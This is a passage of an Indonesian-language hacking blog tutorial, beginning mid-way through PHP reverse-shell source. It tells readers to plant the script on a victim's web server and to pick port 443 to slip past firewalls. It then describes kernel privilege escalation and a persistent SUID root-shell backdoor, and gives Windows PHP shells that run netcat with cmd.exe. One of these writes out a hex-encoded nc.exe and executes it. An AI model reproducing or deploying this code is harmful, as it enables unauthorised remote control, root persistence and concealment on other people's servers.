  if ($debug) printit("STDOUT READ");
  $input = fread($pipes[1], $chunk_size);
  if ($debug) printit("STDOUT: $input");
  fwrite($sock, $input);
 }
 
 // If we can read from the process's STDERR
 // send data down tcp connection
 if (in_array($pipes[2], $read_a)) {
  if ($debug) printit("STDERR READ");
  $input = fread($pipes[2], $chunk_size);
  if ($debug) printit("STDERR: $input");
  fwrite($sock, $input);
 }
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
 if (!$daemon) {
  print "$string\n";
 }
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.


Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.

Reverse Rootshell
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.

Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah “$” yang berarti hanya normal shell sebagai apache.

Reverse Shell di Windows
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:
  • download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
  • upload: dibuat suatu file php untuk melakukan upload file ke webserver.
  • generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
"db6f866d13d454f702790059001907155de1ad6dda550407166900094317".
"cdb1c1ee6f004f480018d65013220477fbb55ba2c71a5d9a001dd65553ad".
"0e1b1ce76191a6fe526bd51e815ccc1f6400440004a2c4a76e660046c321".
"671de75bc78ea222689f083f236a004a4b3460e1246b006f0b9a164cffda".
"efcb000c263b003a4e27272a072860007eca42903a95225c28beb5c7747a".
"005a8c062c7800582c7414ef0c2d630043db2e8e56e828de51af2f620042".
"f23095b81596c54e1407316d8d3dbe3fdfb100322c003c332e003e073413".
"953487748d352a72740ddbb210a054a2684655749b5b30822e3d70a46a4e".
"57616b6e3304ce3f907cce4058dc82db9a947641a80c6e8e0bcd2d144284".
"6fa6c21470652d140c1e4a1471fe36cb663b4737077748388d49394af0e4".
"d91f842d4b34dcf22c70c0b24d367d742b36cb66794f3175503291513396".
"cdb25976523092532e93bff4bf42e085e087e089e08b09e088e08ae08d72".
"66a48c5ba20337919cc056b224e04881da455c00a5c0d0c5852efd1f5253".
"4453d7cf6e066ef8969fa9d33d46fcf5fc8a7e2600633a5c3e5c5265817d";
$nc = "";
for ($i=0;$i<strlen($hex)/2;$i++) {
    $nc.=chr(hexdec($hex[$i*2].$hex[$i*2+1]));
}
file_put_contents("nc.exe",$nc);
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Source code lengkap reverse shell php di windows bisa didownload di sini lalu ekstrak dan masukkan ke web server milik korban. Gambar di bawah ini menunjukkan ketika file rswin.php dieksekusi dan memberikan shell cmd.exe kepada server milik hacker yang menjalankan Linux.
 

Devil Dawn [ Irzzat Badut ] Copyright © 2011 - |- Template created by O Pregador - |- Powered by Blogger Templates